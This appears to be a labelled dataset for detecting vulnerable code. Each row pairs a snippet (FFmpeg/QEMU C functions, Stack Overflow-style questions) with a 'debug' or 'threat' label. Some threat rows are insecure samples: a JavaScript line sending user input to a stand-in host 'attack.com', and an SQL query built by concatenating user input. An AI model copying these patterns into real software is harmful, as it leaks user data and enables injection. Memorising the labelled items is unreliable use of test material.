problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
int ff_dirac_golomb_read_32bit(DiracGolombLUT *lut_ctx, const uint8_t *buf,
int bytes, uint8_t *_dst, int coeffs)
{
int i, b, c_idx = 0;
int32_t *dst = (int32_t *)_dst;
DiracGolombLUT *future[4], *l = &lut_ctx[2*LUT_SIZE + buf[0]];
INIT_RESIDUE(res);
for (b = 1; b <= b... | 1threat |
PHP Parse error: syntax error, unexpected 'endwhile' (T_ENDWHILE) in /wp-content/themes/awaken/page.php on line 26 : <p>i have error log </p>
<blockquote>
<p>PHP Parse error: syntax error, unexpected 'endwhile' (T_ENDWHILE) in
/wp-content/themes/awaken/page.php
on line 26</p>
</blockquote>
<p>my page.php </p>
... | 0debug |
SQL Granting already existing rights to users / revoking them : <p>I have to answer some questions based on the statements below. Initially, user A is the owner of relation R, and no other user holds privileges on R. The following are executed:</p>
<pre><code>By A: GRANT INSERT ON R TO B WITH GRANT OPTION;
By B: GRANT... | 0debug |
How can I proof a difficult big o notation? : <p>I can easily understand how to proof a simple big o notation like n<sup>5</sup> + 3n<sup>3</sup> ∈ O(n<sup>5</sup>).</p>
<p>But how can I proof something more complex like 3<sup>n</sup> or 2<sup>n</sup> ∉ O(n<sup>k</sup>)?</p>
| 0debug |
Why does the methods doesn't compile : <p>I have a multi catch exception block with a methods that doesn't compile , there's no inhertance relation between the two classes
I still not able to define the rule behind this error ,this my code :</p>
<pre><code>class MyException extends RuntimeException {
public void ... | 0debug |
Can a C function modify the value of its input arguments in the calling function? : <p>Can a C function modify the value of its input arguments in the calling function?</p>
<p>Could you provide an example.</p>
| 0debug |
What is the most feasible way to store large array data while being able to access it from a web browser? : <p>I have come across many ways to do this, but, either a third party resource is needed or the solution is not practical to implement.</p>
<p>What I need to store is an immense amount of data (an array with 700... | 0debug |
During local development with Kubernetes/minikube, how should I connect to postgres database running on localhost? : <p>I've set up an application stack running on Google Kubernetes Engine + Google Cloud SQL. When developing locally, I would like my application to connect to a postgres database server running <em>outsi... | 0debug |
int64_t av_gcd(int64_t a, int64_t b)
{
if (b)
return av_gcd(b, a % b);
else
return a;
}
| 1threat |
triangle.java Uses or overrides a deprecated API : Finding area and perimeter of triangle of a triangle using stream in java:
On Compiling the below program shows
Note: triangle.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
Please find what error in this program!
... | 0debug |
ram_addr_t qemu_ram_addr_from_host(void *ptr)
{
RAMBlock *prev;
RAMBlock **prevp;
RAMBlock *block;
uint8_t *host = ptr;
#ifdef CONFIG_KQEMU
if (kqemu_phys_ram_base) {
return host - kqemu_phys_ram_base;
}
#endif
prev = NULL;
prevp = &ram_blocks;
block = ram_bl... | 1threat |
static void vnc_init_basic_info_from_remote_addr(QIOChannelSocket *ioc,
VncBasicInfo *info,
Error **errp)
{
SocketAddress *addr = NULL;
addr = qio_channel_socket_get_remote_address(ioc, errp);
if (!addr... | 1threat |
OnClick Listner Not Working : Don't know why when I click on button its not performing any operation.Can't locate any error in onclick listner.It suppose to give me option for choose image from gallery when I click on choose button rather when I click on Choose button it doesnt do any thing also not give any error.
... | 0debug |
static int sdl_init_out (HWVoiceOut *hw, struct audsettings *as)
{
SDLVoiceOut *sdl = (SDLVoiceOut *) hw;
SDLAudioState *s = &glob_sdl;
SDL_AudioSpec req, obt;
int endianness;
int err;
audfmt_e effective_fmt;
struct audsettings obt_as;
req.freq = as->freq;
req.format = au... | 1threat |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Automate mailto process : <p>How can I automate the mailto process, instead of a new compose window pop up in one of the mail clients is it possible to have the email send in the background, thus not having the user to click send.</p>
<p>Overall I want to receive a email from one of the customers that contains there c... | 0debug |
eb deploy does not update the code : <p>I am trying to deploy an application version but <code>eb deploy</code> command fails with: </p>
<blockquote>
<p>ERROR: Update environment operation is complete, but with errors. For
more information, see troubleshooting documentation.</p>
</blockquote>
<p>I checked the log... | 0debug |
static ssize_t nbd_send_reply(QIOChannel *ioc, NBDReply *reply)
{
uint8_t buf[NBD_REPLY_SIZE];
reply->error = system_errno_to_nbd_errno(reply->error);
TRACE("Sending response to client: { .error = %" PRId32
", handle = %" PRIu64 " }",
reply->error, reply->handle);
... | 1threat |
How to binding dropdown in html5 page using jquery? : <p>I need to know the code for binding drop down in HTML5 using Jquery.</p>
| 0debug |
static int local_symlink(FsContext *fs_ctx, const char *oldpath,
const char *newpath, FsCred *credp)
{
int err = -1;
int serrno = 0;
if (fs_ctx->fs_sm == SM_MAPPED) {
int fd;
ssize_t oldpath_size, write_size;
fd = open(rpath(fs_ctx, newpath), O_CREAT|O_EXCL|O_... | 1threat |
static int decode_nal_units(H264Context *h, const uint8_t *buf, int buf_size,
int parse_extradata)
{
AVCodecContext *const avctx = h->avctx;
H264SliceContext *sl;
int buf_index;
unsigned context_count;
int next_avc;
int nals_needed = 0;
int nal_index;
int idr... | 1threat |
webkit box orient styling disappears from styling : <p>In my Angular app (I'm on version 4.3.1) I'm adding a CSS ellipsis after multiple lines.<br>
For this, I use the following css code in Sass.</p>
<pre><code>.ellipsis {
-webkit-box-orient: vertical;
display: block;
display: -webkit-box;
-webkit-line... | 0debug |
a='01101' this has to be converted to ['0','1','1','0','1'] ?? IN PYTHON : <blockquote>
<p>convert a <em>binary string</em> into list in <strong>python</strong><br>
example '10011' is to be converted as <strong>list</strong> ['1','0','0','1','1'] ?</p>
</blockquote>
| 0debug |
void ff_hpeldsp_init_x86(HpelDSPContext *c, int flags)
{
int cpu_flags = av_get_cpu_flags();
if (INLINE_MMX(cpu_flags))
hpeldsp_init_mmx(c, flags, cpu_flags);
if (EXTERNAL_MMXEXT(cpu_flags))
hpeldsp_init_mmxext(c, flags, cpu_flags);
if (EXTERNAL_AMD3DNOW(cpu_flags))
... | 1threat |
int av_find_best_stream(AVFormatContext *ic,
enum AVMediaType type,
int wanted_stream_nb,
int related_stream,
AVCodec **decoder_ret,
int flags)
{
int i, nb_streams = ic->nb_streams, stream_... | 1threat |
START_TEST(qint_from_int64_test)
{
QInt *qi;
const int64_t value = 0x1234567890abcdefLL;
qi = qint_from_int(value);
fail_unless((int64_t) qi->value == value);
QDECREF(qi);
}
| 1threat |
How to bulk insert in SQL using Dapper in C# : <p>I am using C# Dapper with MYSQL. </p>
<p>I have a list of classes that i want to insert into MySQL table. </p>
<p>I used to do it using TVP in MS SQL, how do we do it in MySQL.</p>
| 0debug |
How to fix this issue "no suitable node (scheduling constraints not satisfied on 1 node)" in docker swarm while deploying registry? : <p>I have a docker swarm in a virtual machine with 2 core 4GB ram Centos.</p>
<p>In the swarm when I deploy docker private registry (registry 2.6.4) it shows service status as <strong>p... | 0debug |
I have tried many times and search a lot but I can't solve it.referenced CSS failure?why? : enter code here// a small demo to exercise
var express = require("express");
var app = express();
var bodyparser = require("body-parser");
app.use("/public/", express.static("./public/"));
... | 0debug |
int socket_listen(SocketAddressLegacy *addr, Error **errp)
{
int fd;
switch (addr->type) {
case SOCKET_ADDRESS_LEGACY_KIND_INET:
fd = inet_listen_saddr(addr->u.inet.data, 0, false, errp);
break;
case SOCKET_ADDRESS_LEGACY_KIND_UNIX:
fd = unix_listen_saddr(addr->u.q_un... | 1threat |
3D scatterplots in Python with hue colormap and legend : <p>I have been searching for 3D plots in python with seaborn and haven't seen any. I would like to 3D plot a dataset that I originally plotted using seaborn pairplot. Can anyone help me with these 2 issues:</p>
<ol>
<li>I am not able to get same color palette a... | 0debug |
Realtime with Rails 3.2 : <p>I need to add realtime notifications to my Rails app (Rails 3.2, Ruby 1.93, Phusion Passenger). I have another app using Rails 5 that uses Action Cable to deal with realtime notifications and now I'm looking for a similar solution that works with Rails 3.2. Any suggestion on how to do it?</... | 0debug |
MATLAB: How to loop through each (x,y) pair in MATLAB? : <p>So I want to create a loop in MATLAB where I can retrieve the x,y pairs. </p>
<p>So far, I have two arrays:</p>
<pre><code>x = [x1 x2 x2 x1 x1];
y = [y1 y1 y2 y2 y1];
</code></pre>
<p>I would like to create a for loop where I can retrieve pairs (x1,y1), the... | 0debug |
python string (file1.txt) search from file2.txt : file1.txt contains usernames, i.e.
tony
peter
john
...
file2.txt contains user details, just one line for each user details, i.e.
alice 20160102 1101 abc
john 20120212 1110 zjc9
mary 20140405 0100 few3
peter 20140405 0001 io90
tango 1909011... | 0debug |
Pragmatically creating UIView Mask : <p>I have a UIView, which has a user selected number of circles (5) and a gradient color scheme (Top image) That part was easy</p>
<p>The circles are just additional subViews of the master UIView with black borders and the master UIView has a Red border</p>
<p>How can one creat... | 0debug |
static void ioport_write(void *opaque, target_phys_addr_t addr,
uint64_t val, unsigned size)
{
PCIQXLDevice *d = opaque;
uint32_t io_port = addr;
qxl_async_io async = QXL_SYNC;
uint32_t orig_io_port = io_port;
if (d->guest_bug && !io_port == QXL_IO_RESET) {
... | 1threat |
how to create tables with linked coulmns in sql server : i'm trying to create a database for a simple C# application using sql server.
i'm new to this
this is what I had planned
Clients: Client_ID, Client_Name, Client_Status
Employees: Emp_ID, Emp_Name, Emp_Role
Jobs: Job_ID, Job_Date, Client_ID, E... | 0debug |
Creating a new column with True/False output : To give a situation say we have 2 columns in excel which holds following data. Column TF must be created as a new column.
1 Table
2 A B TF
3 ABC ABC TRUE
4 ABC BAC FALSE
5 #NA ABC #NA
The numbers on the side ranging 1-5 indicates the row ... | 0debug |
static ram_addr_t ram_block_add(RAMBlock *new_block, Error **errp)
{
RAMBlock *block;
RAMBlock *last_block = NULL;
ram_addr_t old_ram_size, new_ram_size;
old_ram_size = last_ram_offset() >> TARGET_PAGE_BITS;
qemu_mutex_lock_ramlist();
new_block->offset = find_ram_offset(new_block->max... | 1threat |
Is it a best practice in Java to declare variables before give them as parameters : <p>Assuming this code :</p>
<pre><code>public static Dataset<Row> getData(SparkSession sparkSession,
StructType schema, String delimiter, String pathToData) {
final Dataset<Row... | 0debug |
static void tcg_out_qemu_st(TCGContext* s, TCGReg data_reg, TCGReg addr_reg,
TCGMemOpIdx oi)
{
TCGMemOp opc = get_memop(oi);
#ifdef CONFIG_SOFTMMU
unsigned mem_index = get_mmuidx(oi);
tcg_insn_unit *label_ptr;
TCGReg base_reg;
base_reg = tcg_out_tlb_read(s, addr... | 1threat |
HttpParams is deprecated. What should I do? : <p>I'm trying to make a Login and register on my android app. I'm having trouble with HttpParams. I am following a tutorial on Youtube by Tonikami. I'm just new with Android Studio. This is just the process I know. Your help with be very appreciated. :(</p>
<pre><code>publ... | 0debug |
Get nested JSON values : <p>I send a request to an API and I get this JSON back:</p>
<pre><code>{{
"id": 1,
"name": "LoginTest",
"status": "ready",
"testvalues_count": 2,
"testvalues": [
{
"id": 1,
"name": "Username",
"value": "Test"
},
{
"id": 2,
"name": "Password",... | 0debug |
spring data jpa utf-8 encoding not working : <p>I use <code>spring-data-jpa</code> and <code>mysql</code> database. My tables character set is utf-8. Also I added <code>?useUnicode=yes&amp;characterEncoding=utf8</code> to mysql url in application.properties file. Problem when I pass characters like "ąčęėį" to contr... | 0debug |
Can I modify container's environment variables without restarting pod using kubernetes : <p>I have a running pod and I want to change one of it's container's environment variable and made it work immediately. Can I achieve that? If I can, how to do that?</p>
| 0debug |
How to use local proxy settings in docker-compose : <p>I am setting up a new server for our Redmine installation, since the old installation was done by hand, which makes it difficult to update everything properly. I decided to go with a Docker image but am having trouble starting the docker container due to an error m... | 0debug |
How to Identify an annular region of a specific color in an white background image? : [What procedure should be followed to identify the **annular region**(pinkish orange color) having a white background. Also how to **amplify the intensity** values in the annular region to further work on them. ***Click on the link be... | 0debug |
Check if value of one array is found in another : <p>I don't know if this type of comparison is possible. I am trying to compare arrays like listed below. </p>
<pre><code>$array = ["User1-2", "User2-2", "User3-2", "User4-2"];
$array2 = ["User1-2:280", "User2-2:280", "User3-2:280", "User4-2:280"];
</code></pre>
<p>re... | 0debug |
Programmatically bind custom events for dynamic components in VueJS : <p>In my vuejs app I use dynamic component in the following way:</p>
<pre><code><mycomponent>
<component ref="compRef" :is="myComponent" v-bind="myComponentProps"></component>
<div class="my-buttons">
<my-b... | 0debug |
def test_distinct(data):
if len(data) == len(set(data)):
return True
else:
return False; | 0debug |
Java and Golang http performance compare : <p>I recently started using golang, and I did a test to compare the performance of java and golang http calls; I was surprised to find that golang is much faster than java, and sometimes it takes almost no time to call another service from one service. I am curious that this i... | 0debug |
static int net_dump_init(VLANState *vlan, const char *device,
const char *name, const char *filename, int len)
{
struct pcap_file_hdr hdr;
DumpState *s;
s = qemu_malloc(sizeof(DumpState));
s->fd = open(filename, O_CREAT | O_WRONLY | O_BINARY, 0644);
if (s->fd < 0)... | 1threat |
How to get data in UI using java method : <p>I already have java method written to pull data from database, how do I bring those data in user Interface. How to connect these method to User Interface?</p>
| 0debug |
How can I do it in c # : [How can I do it in c #][1]
[1]: https://i.stack.imgur.com/hjZQe.png
How to set output caching for an application in iis? Programmatically
| 0debug |
Validate cell in excel VBA : I would like to add a word limit validation to the cells within a column. For example, I do not want someone to be able to enter more than 150 words. Is this possible? If so, how is this done?
I have wrote a formula to count the words in the cell and tried to add data validation to the ... | 0debug |
Why will my addClass not target only current element? : when I add class "Icon" using the if statement, it adds it to the correct h3 but also to any h3's ABOVE the correct one also. Even if the h3 above is 0. Icon will either be 0 or 1.
{ $('#accordion') .append($('<h3>') .html(Agency));
... | 0debug |
static ssize_t mp_user_getxattr(FsContext *ctx, const char *path,
const char *name, void *value, size_t size)
{
char *buffer;
ssize_t ret;
if (strncmp(name, "user.virtfs.", 12) == 0) {
errno = ENOATTR;
return -1;
}
buffer = r... | 1threat |
Flutter: Unhandled exception: MissingPluginException(No implementation found for method getAll on channel plugins.flutter.io/shared_preferences) : <p>My Flutter application uses the Flutter SharedPreferences plugin and send values to the iOS side with platform.invokeMethod. If I start the application, I have this error... | 0debug |
static void pmac_ide_writel (void *opaque,
target_phys_addr_t addr, uint32_t val)
{
MACIOIDEState *d = opaque;
addr = (addr & 0xFFF) >> 4;
val = bswap32(val);
if (addr == 0) {
ide_data_writel(&d->bus, 0, val);
}
}
| 1threat |
static void ide_dma_restart_cb(void *opaque, int running, int reason)
{
BMDMAState *bm = opaque;
if (!running)
return;
if (bm->status & BM_STATUS_DMA_RETRY) {
bm->status &= ~BM_STATUS_DMA_RETRY;
ide_dma_restart(bm->ide_if);
} else if (bm->status & BM_STATUS_PIO_RETRY) {
... | 1threat |
void helper_mwait(CPUX86State *env, int next_eip_addend)
{
CPUState *cs;
X86CPU *cpu;
if ((uint32_t)env->regs[R_ECX] != 0) {
raise_exception(env, EXCP0D_GPF);
}
cpu_svm_check_intercept_param(env, SVM_EXIT_MWAIT, 0);
env->eip += next_eip_addend;
cpu = x86_env_get_cpu(env)... | 1threat |
Java - returning a BigDecimal from a function? : <p>I was wondering if I can actually return a BigDecimal from a function as I have not seen anything online about this. Is it because it's not possible or is it really just bad practice to do so? Attempting the code below results in "error: cannot find symbol [in MainCla... | 0debug |
Django E.408, E.409 and E.410 errors on runserver : <p>I am installing a new Django project using virtualenv, all in the normal way. My version of Python is 3.7.3, and django is 2.2.3. </p>
<p>If I do python manage.py runserver, I get the following errors:</p>
<pre><code>?: (admin.E408)'django.contrib.auth.middleware... | 0debug |
How to output the highest and lowest values selected after entering 10 numbers between 1 to 100 in C : I am trying to write a C program that can accept 10 numbers between 1 and 100. If values outside the range are entered an error message should be displayed.
I have managed to write the following code to check for t... | 0debug |
static av_cold int vdadec_init(AVCodecContext *avctx)
{
VDADecoderContext *ctx = avctx->priv_data;
struct vda_context *vda_ctx = &ctx->vda_ctx;
OSStatus status;
int ret;
ctx->h264_initialized = 0;
if (!ff_h264_vda_decoder.pix_fmts) {
if (kCFCoreFoundationVersionNumber < kCFCoreFound... | 1threat |
static int coroutine_fn mirror_dirty_init(MirrorBlockJob *s)
{
int64_t sector_num, end;
BlockDriverState *base = s->base;
BlockDriverState *bs = s->source;
BlockDriverState *target_bs = blk_bs(s->target);
int ret, n;
end = s->bdev_length / BDRV_SECTOR_SIZE;
if (base == NULL && !b... | 1threat |
How to stop user from opening a website in another tab? : <p>Like it happens in Banking sites....i want to implement the same thing in my website. Please help me how to go about it.</p>
| 0debug |
static int h264_init_context(AVCodecContext *avctx, H264Context *h)
{
int i;
h->avctx = avctx;
h->picture_structure = PICT_FRAME;
h->slice_context_count = 1;
h->workaround_bugs = avctx->workaround_bugs;
h->flags = avctx->flags;
h->prev_... | 1threat |
Resizing images with javascript on a JSF page in a ui:repeat : I need to resize images sitting in JSF's repeat loop.
This is the loop:
<ui:repeat value="#{searchResults.products}" var="product">
<img id="thumbnailId" src='#{product.thumbnailUrl}' class="img-responsive galleryproductimg" style="bord... | 0debug |
Display issues on website after selecting language : <p><a href="https://www.hollandmarineparts.nl/" rel="nofollow noreferrer">Our website</a> has some display issues after selecting a language. Take <a href="https://www.hollandmarineparts.nl/de/" rel="nofollow noreferrer">This page</a> for example. When we view the pa... | 0debug |
static void video_image_display(VideoState *is)
{
Frame *vp;
Frame *sp = NULL;
SDL_Rect rect;
vp = frame_queue_peek_last(&is->pictq);
if (vp->bmp) {
if (is->subtitle_st) {
if (frame_queue_nb_remaining(&is->subpq) > 0) {
sp = frame_queue_peek(&is->subpq)... | 1threat |
void tcg_context_init(TCGContext *s)
{
int op, total_args, n;
TCGOpDef *def;
TCGArgConstraint *args_ct;
int *sorted_args;
memset(s, 0, sizeof(*s));
s->nb_globals = 0;
total_args = 0;
for(op = 0; op < NB_OPS; op++) {
def = &tcg_op_defs[op];
n = d... | 1threat |
Find no. of occurrence of each character in a string in C#.net ,C,Java etc..? :
**Find no. of occurrence of each character in a string in C#.net?**
*given string to count of each character to find below code I hope it is understand easy way logic *
protected void btnSave_Click(object sender, ... | 0debug |
how can i filter json listview : //what i want is to show in the list is the String that equals(london) in:
//String location = respons.getString("location");
//if it equlas(manchestar)i dont want it to be in the list
for (int i = 0; i < jsonArray.length(); i++) {
JSONOb... | 0debug |
Matplotlib move tick labels inside plot area : <p>Is it possible to put tick labels inside the plotting area? I have already tried:</p>
<pre><code>ax.tick_params(axis="y",pad=-.5, left="off",labelleft="on")
</code></pre>
<p>and </p>
<pre><code>ax.tick_params(axis="y",direction="in", left="off",labelleft="on")
</cod... | 0debug |
GET list of objects located under a specific S3 folder : <p>I am trying to GET a list of objects located under a specific folder in an S3 bucket using a query-string which takes the foldername as the parameter and list all objects which match that specific folder using Node JS aws-sdk</p>
<p>For example: <a href="http... | 0debug |
void usb_ohci_init_pxa(target_phys_addr_t base, int num_ports, int devfn,
qemu_irq irq)
{
OHCIState *ohci = (OHCIState *)qemu_mallocz(sizeof(OHCIState));
usb_ohci_init(ohci, num_ports, devfn, irq,
OHCI_TYPE_PXA, "OHCI USB");
ohci->mem_base = base;
cpu_... | 1threat |
can someone help to write this code more efficiently please? : As you can see in first picture I'm checking that a certain value contains in a document from firestore and returns a boolean value.
now I'm calling that function in a build and based on that return value I'm changing a chip color(Second picture). Now the ... | 0debug |
print_insn (bfd_vma pc, disassemble_info *info)
{
const struct dis386 *dp;
int i;
char *op_txt[MAX_OPERANDS];
int needcomma;
unsigned char uses_DATA_prefix, uses_LOCK_prefix;
unsigned char uses_REPNZ_prefix, uses_REPZ_prefix;
int sizeflag;
const char *p;
struct dis_private priv;
unsigned ... | 1threat |
static void xics_reset(DeviceState *d)
{
XICSState *icp = XICS(d);
int i;
for (i = 0; i < icp->nr_servers; i++) {
device_reset(DEVICE(&icp->ss[i]));
}
device_reset(DEVICE(icp->ics));
}
| 1threat |
Perl Dereferencing Syntax : <p>What is the syntax to dereference a reference in Perl?</p>
<p>           </p>
<p>           </p>
<p>           </p>
| 0debug |
Moving columns between two tables in mysql : I am working on PHP Codeigniter with MYSQL database, I have two tables Student(Original table) and Student1(temporary table) and both tables have different columns. I am uploading bulk of student list from a CSV file into that Student1(temporary table), later i have to move ... | 0debug |
No constructor for type SwaggerGenerator can be instantiated using services from the service container and default values : <p>I'm trying to add Swagger to my project. The error received is as follows.</p>
<blockquote>
<p>No constructor for type 'Swashbuckle.AspNetCore.SwaggerGen.SwaggerGenerator' can be instantiate... | 0debug |
db.execute('SELECT * FROM employees WHERE id = ' + user_input) | 1threat |
How to find degree on a circle that is tangent to a point outside of that circle? : - I know the (x,y) of a point, P, outside of a circle.
- I know the (x,y) for the origin of a circle, O.
- I know the radius, r, of that circle.
How would I find what degree (i.e. 20 degrees, 270 degrees) is tangent to the point ou... | 0debug |
Fetching the results of a SQL query into a hash map in PERL : <p>I am a beginner to perl. So am just trying out some random perl codes.
I have an sql query which gives me a number of rows, with 2 values in each row.
I want to store this result into a hash say</p>
<pre><code>%result_hash
</code></pre>
<p>in such a way... | 0debug |
AVCodecParserContext *av_parser_init(int codec_id)
{
AVCodecParserContext *s = NULL;
AVCodecParser *parser;
int ret;
if(codec_id == AV_CODEC_ID_NONE)
return NULL;
for(parser = av_first_parser; parser != NULL; parser = parser->next) {
if (parser->codec_ids[0] == codec_id |... | 1threat |
How to best get a byte array from a ClientResponse from Spring WebClient? : <p>I'm trying out the new <code>WebClient</code> from Spring 5 (5.0.0.RC2) in a codebase that uses reactive programming and I've had success mapping the JSON response from an endpoint to a DTO in my app, which works very nice:</p>
<pre><code>W... | 0debug |
Typescript react - Could not find a declaration file for module ''react-materialize'. 'path/to/module-name.js' implicitly has an any type : <p>I am trying to import components from react-materialize as - </p>
<pre><code>import {Navbar, NavItem} from 'react-materialize';
</code></pre>
<p>But when the webpack is compin... | 0debug |
Why is dynamic array "constructor" much slower than SetLength and elements initialization? : <p>I was comparing performances between these two ways of initializing a dynamic array:</p>
<pre><code>Arr := TArray<integer>.Create(1, 2, 3, 4, 5);
</code></pre>
<p>and</p>
<pre><code>SetLength(Arr, 5);
Arr[0] := 1;
A... | 0debug |
How do I store JWT and send them with every request using react : <p>So happy right know because I got my basic registration/authentication system going on.</p>
<p>so basically I got this :</p>
<pre><code>app.post('/login', function(req,res) {
Users.findOne({
email: req.body.email
}, function(err, user) {
if(err) th... | 0debug |
Runtime error: Event loop is running : <p>I get the following error when I call the function <code>send_message</code>.</p>
<pre><code>Exception in thread Thread-1:
Traceback (most recent call last):
File "/usr/lib/python3.4/threading.py", line 920, in _bootstrap_inner
self.run()
File "/usr/lib/python3.4/threa... | 0debug |
how to run docker exec on a docker-compose.yml : <p>I am trying to create a mysql database schema during the docker-compose.yml file is getting executed </p>
<pre><code> version: "2"
services:
web:
build: docker
ports:
- "8080:8080"
environment:
- MYSQL_ROOT_PASSWORD=root
mysql:
image:... | 0debug |
addSubView SwiftUI View to UIKit UIView in Swift : <p>I have tried to addSubView a SwiftUI View to UIView. <code>self.view.addSubview(contentView)</code></p>
<blockquote>
<p>Error: Cannot convert value of type 'ContentView' to expected argument type
'UIView'</p>
</blockquote>
<p>Kindly help me to implement this U... | 0debug |
get the coordinates and use them in android : I have successfully managed to get the current gps coordinates by calling requestLocationUpdates like this:
Criteria criteria = new Criteria();
provider = locationManager.getBestProvider(criteria, false);
if( provider != null){
locationMa... | 0debug |
passing an object to a function in a the same class to initialize the values, but not by reference : <p>I'm looking for some clarification and confirmation that this is indeed doing nothing.</p>
<p>Say I have an object</p>
<pre><code>public class Person
{
public string Name { get; set; }
}
</code></pre>
<p>and I... | 0debug |
Why is my java lambda with a dummy assignment much faster than without it? : <p>I know that making judgements of Java microbenchmarks is extremely fraught, but I'm seeing something that seems odd, and I'd like to get some explanation for it.</p>
<p>Note that I'm not using the <a href="http://openjdk.java.net/projects/... | 0debug |
How to set jacoco code coverage levels to module in gradle : <p>I'm using gradle 4.3.1 with the jacoco plugin and I am able to ensure a certain level of code coverage in a a multi module project. This works great when I set the <strong>element</strong> to <strong>CLASS</strong> or <strong>PACAKAGE</strong>, but I'm st... | 0debug |
static void setup_rt_frame(int sig, struct target_sigaction *ka,
target_siginfo_t *info,
target_sigset_t *set, CPUS390XState *env)
{
int i;
rt_sigframe *frame;
abi_ulong frame_addr;
frame_addr = get_sigframe(ka, env, sizeof *frame);
qem... | 1threat |
Replace a line in a config file with ansible : <p>I am new to ansible.</p>
<p>Is there a simple way to replace the line starting with <code>option domain-name-servers</code> in <code>/etc/dhcp/interface-br0.conf</code> with more IPs?</p>
<pre><code> option domain-name-servers 10.116.184.1,10.116.144.1;
</code></pre>... | 0debug |
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